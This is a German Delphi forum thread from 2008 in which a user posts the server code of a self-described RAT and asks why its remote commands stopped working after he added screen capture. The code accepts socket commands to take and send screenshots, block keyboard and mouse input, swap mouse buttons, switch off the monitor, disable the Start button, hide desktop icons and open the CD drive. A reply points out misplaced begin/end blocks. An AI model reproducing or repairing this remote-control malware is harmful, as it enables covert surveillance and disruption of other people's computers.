Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Netzwerke (https://www.delphipraxis.net/14-netzwerke/)
-   -   Delphi Server nimmt keine Befehle mehr an... (https://www.delphipraxis.net/111272-server-nimmt-keine-befehle-mehr.html)

FileOwner 1. Apr 2008 13:57
Server nimmt keine Befehle mehr an...
 
Hallo, ich bin gerade dabei einen RAT mit ein paar fun und Admin funktionen zu Coden.
Das ganze hat wirklich wunderbar geklappt aber nun hab ich eine funktion verbaut um den Bildschirm des Servers beim Client anzeigen zu lassen. Doch seitdem funktionieren die anderen Befehle nich mehr.

Alles läuft mit EINER Indy Komponente "Serversocket" und Clientsocket.
Wenn ich die Zeilen die für das senden des Screens zuständig sind wieder lösche, klapt alles wieder wunderbar.

Hier mal der Code ( Der neue Teil ist fett und italic makiert)

Delphi-Quellcode:
unit serve;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, Shellapi,mmsystem, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCustomTCPServer,
  IdTCPServer, IdCmdTCPServer, tlhelp32, JPEG, strutils;

type
  TForm1 = class(TForm)
    Server: TServerSocket;
    procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ServerAccept(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
    dc: HDC;
  DestopWindowHandle: hWND;

implementation

{$R *.dfm}

procedure GetProcessList(const aProcessList: TStrings);
var
  Snap: THandle;
  ProcessE: TProcessEntry32;
begin
  aProcessList.Clear;
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  try
    ProcessE.dwSize := SizeOf(ProcessE);
    if Process32First(Snap, ProcessE) then
      Repeat
        aProcessList.Add(ProcessE.szExeFile);
      Until not Process32Next(Snap, ProcessE)
    else
      RaiseLastOSError;
  finally
    CloseHandle(Snap);
  end;
end;



 procedure SetStartBtnEnabled(const AEnabled: Boolean);
begin
  EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),
                            0,
                            'Button',
                            nil),
               AEnabled);
end;

  Function BlockInput(fBlock: boolean): boolean; stdcall;
             external 'user32.dll';

             procedure SwapMouseButtons(const ASwap: Boolean);
begin
  if ASwap then
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,1, Nil, 0)
  else
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,0, Nil, 0);

        end;

procedure ScreenShot(const Bitmap: TBitmap);
var
  DesktopDC: HDC;
begin
  DesktopDC := CreateDC('DISPLAY', nil, nil, nil);
  try
    Bitmap.PixelFormat := pfDevice;
    Bitmap.Width := Screen.Width;
    Bitmap.Height := Screen.Height;
    BitBlt(Bitmap.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
  finally
    DeleteDC(DesktopDC);
  end;
end;


var
sM : TMemoryStream;

procedure TForm1.ServerAccept(Sender: TObject; Socket: TCustomWinSocket);
begin

end;

procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
var exec:string;
 Bmp : TBitmap;
Jpeg : TJpegimage;
empfangen:string;

begin
    empfangen:= Form1.Server.socket.ReceiveText;


 if leftstr(empfangen,length('Screenshot'))='Screenshot' then begin
    FreeAndNil(sM);
    Bmp:=TBitmap.Create;
    Jpeg:=TJpegImage.Create;
    sM:=TMemoryStream.Create;
        try
        ScreenShot(bmp);
       Jpeg.CompressionQuality:=strtoint(rightstr(empfangen,length(empfangen)-length('Screenshot')));
        Jpeg.Assign(Bmp);
        Jpeg.SaveToStream(sM);
        finally
        Jpeg.Free;
        Bmp.Free;
        end;
   Form1.Server.socket.SendText(IntToStr(sM.Size));


// Empfänger hat Größe erhalten, das senden der Datei wird durchgeführt
If empfangen='ok' then begin
 Form1.Server.socket.SendBuf(sM.Memory^, sM.Size);




//Cd Laufwerk öffnen
exec := Socket.ReceiveText;
if exec = 'cd_open' then begin
mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Self.Handle) end else

//CD Laufwerk schließen
if exec = 'cd_close' then begin
mciSendstring('SET CDAUDIO DOOR Closed WAIT', nil, 0, Self.Handle) end else

//Desktopfarbe umkehren
if exec = 'color' then begin
    DestopWindowHandle := GetDesktopWindow;
    dc := GetWindowDC(DestopWindowHandle);
  try
    Invertrect(dc, Screen.DesktopRect);
  finally
    ReleaseDC(DestopWindowHandle, dc); end end else



//Monitor Anschalten
    if exec='monitor_on' then begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 0); end else

//Monitor Ausschalten
               if exec='monitor_off' then begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 1); end else

//Start Button ausschalten
  if exec='startbtn_0' then begin
  SetStartBtnEnabled(false);
  end else

  //Start Button einschalten
  if exec='startbtn_1' then begin
  SetStartBtnEnabled(true);
  end else

  //Icons ausblenden
   if exec='icons_off' then
   ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE) else

  //icons einblenden
   if exec='icons_on' then
   ShowWindow(FindWindow(nil,'Program Manager'),SW_Show)else

   //Eingabegeräte sperren

 if exec= 'block_1' then BlockInput(true) else
   //Eingabegeräte freigeben
  if exec= 'block_0' then BlockInput(false) else

  //Maustasten tauschen
  if exec= 'mouse_1' then SwapMouseButtons(true) else
  //Maustasten zurücksetzen
    if exec= 'mouse_0' then SwapMouseButtons(false) else

end;
[b][i]

Ich weiss nich woran es liegen könnte, bitte helft mir.

FileOwner 2. Apr 2008 19:16
Re: Server nimmt keine Befehle mehr an...
 
Push

Klaus01 2. Apr 2008 19:23
Re: Server nimmt keine Befehle mehr an...
 
Guten Abend,

da stimmt mit Deinen begin-end Blöcken etwas nicht.
Delphi-Quellcode:
if leftstr(empfangen,length('Screenshot'))='Screenshot' then
  begin
    FreeAndNil(sM);
    Bmp:=TBitmap.Create;
    Jpeg:=TJpegImage.Create;
    sM:=TMemoryStream.Create;
    try
      ScreenShot(bmp);
      Jpeg.CompressionQuality:=strtoint(rightstr(empfangen,length(empfangen)-length('Screenshot')));
      Jpeg.Assign(Bmp);
      Jpeg.SaveToStream(sM);
    finally
      Jpeg.Free;
      Bmp.Free;
    end;
    Form1.Server.socket.SendText(IntToStr(sM.Size));


    // Empfänger hat Größe erhalten, das senden der Datei wird durchgeführt
    If empfangen='ok' then
      begin
        Form1.Server.socket.SendBuf(sM.Memory^, sM.Size);


       //Cd Laufwerk öffnen
      exec := Socket.ReceiveText;
      if exec = 'cd_open' then
        begin
          mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Self.Handle)
        end
      else
Vielleich magst Du das einmal selbst überprüfen.
Wenn Du den Code richtig formatierst kommst Du sehr wahrscheinlich selber
ganz schnell auf den Fehler.

Grüße
Klaus

FileOwner 3. Apr 2008 12:40
Re: Server nimmt keine Befehle mehr an...
 
danke, aber der code stammte nicht von mir, ich probiers später mal aus ;)


Edit: habs mal so geändert:

Delphi-Quellcode:
unit serve;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, Shellapi,mmsystem, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCustomTCPServer,
  IdTCPServer, IdCmdTCPServer, tlhelp32, JPEG, strutils;

type
  TForm1 = class(TForm)
    Server: TServerSocket;
    procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
    dc: HDC;
  DestopWindowHandle: hWND;

 Bmp : TBitmap;
Jpeg : TJpegimage;
empfangen:string;

implementation

{$R *.dfm}

procedure GetProcessList(const aProcessList: TStrings);
var
  Snap: THandle;
  ProcessE: TProcessEntry32;
begin
  aProcessList.Clear;
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  try
    ProcessE.dwSize := SizeOf(ProcessE);
    if Process32First(Snap, ProcessE) then
      Repeat
        aProcessList.Add(ProcessE.szExeFile);
      Until not Process32Next(Snap, ProcessE)
    else
      RaiseLastOSError;
  finally
    CloseHandle(Snap);
  end;
end;



 procedure SetStartBtnEnabled(const AEnabled: Boolean);
begin
  EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),
                            0,
                            'Button',
                            nil),
               AEnabled);
end;

  Function BlockInput(fBlock: boolean): boolean; stdcall;
             external 'user32.dll';

             procedure SwapMouseButtons(const ASwap: Boolean);
begin
  if ASwap then
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,1, Nil, 0)
  else
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,0, Nil, 0);

        end;

procedure ScreenShot(const Bitmap: TBitmap);
var
  DesktopDC: HDC;
begin
  DesktopDC := CreateDC('DISPLAY', nil, nil, nil);
  try
    Bitmap.PixelFormat := pfDevice;
    Bitmap.Width := Screen.Width;
    Bitmap.Height := Screen.Height;
    BitBlt(Bitmap.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
  finally
    DeleteDC(DesktopDC);
  end;
end;


var
sM : TMemoryStream;

procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
var exec:string;


begin
exec := Socket.ReceiveText;



 if leftstr(exec,length('Screenshot'))='Screenshot' then begin
    FreeAndNil(sM);
    Bmp:=TBitmap.Create;
    Jpeg:=TJpegImage.Create;
    sM:=TMemoryStream.Create;
        try
        ScreenShot(bmp);
       Jpeg.CompressionQuality:=strtoint(rightstr(exec,length(exec)-length('Screenshot')));
        Jpeg.Assign(Bmp);
        Jpeg.SaveToStream(sM);
        finally
        Jpeg.Free;
        Bmp.Free;

   Form1.Server.socket.SendText(IntToStr(sM.Size));


// Empfänger hat Größe erhalten, das senden der Datei wird durchgeführt
If exec='ok' then begin
 Form1.Server.socket.SendBuf(sM.Memory^, sM.Size);

    end;
    begin
//////////////////////////////

//Cd Laufwerk öffnen

if exec = 'cd_open' then begin
mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Self.Handle) end else

//CD Laufwerk schließen
if exec = 'cd_close' then begin
mciSendstring('SET CDAUDIO DOOR Closed WAIT', nil, 0, Self.Handle) end else

//Desktopfarbe umkehren
if exec = 'color' then begin
    DestopWindowHandle := GetDesktopWindow;
    dc := GetWindowDC(DestopWindowHandle);
  try
    Invertrect(dc, Screen.DesktopRect);
  finally
    ReleaseDC(DestopWindowHandle, dc); end end else



//Monitor Anschalten
    if exec='monitor_on' then begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 0); end else

//Monitor Ausschalten
               if exec='monitor_off' then begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 1); end else

//Start Button ausschalten
  if exec='startbtn_0' then begin
  SetStartBtnEnabled(false);
  end else

  //Start Button einschalten
  if exec='startbtn_1' then begin
  SetStartBtnEnabled(true);
  end else

  //Icons ausblenden
   if exec='icons_off' then
   ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE) else

  //icons einblenden
   if exec='icons_on' then
   ShowWindow(FindWindow(nil,'Program Manager'),SW_Show)else

   //Eingabegeräte sperren

 if exec= 'block_1' then BlockInput(true) else
   //Eingabegeräte freigeben
  if exec= 'block_0' then BlockInput(false) else

  //Maustasten tauschen
  if exec= 'mouse_1' then SwapMouseButtons(true) else
  //Maustasten zurücksetzen
    if exec= 'mouse_0' then SwapMouseButtons(false) else





end;
end;
 end;
end;
end;
end.
hat aber leider nix gebracht :(


Alle Zeitangaben in WEZ +1. Es ist jetzt 03:22 Uhr.

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz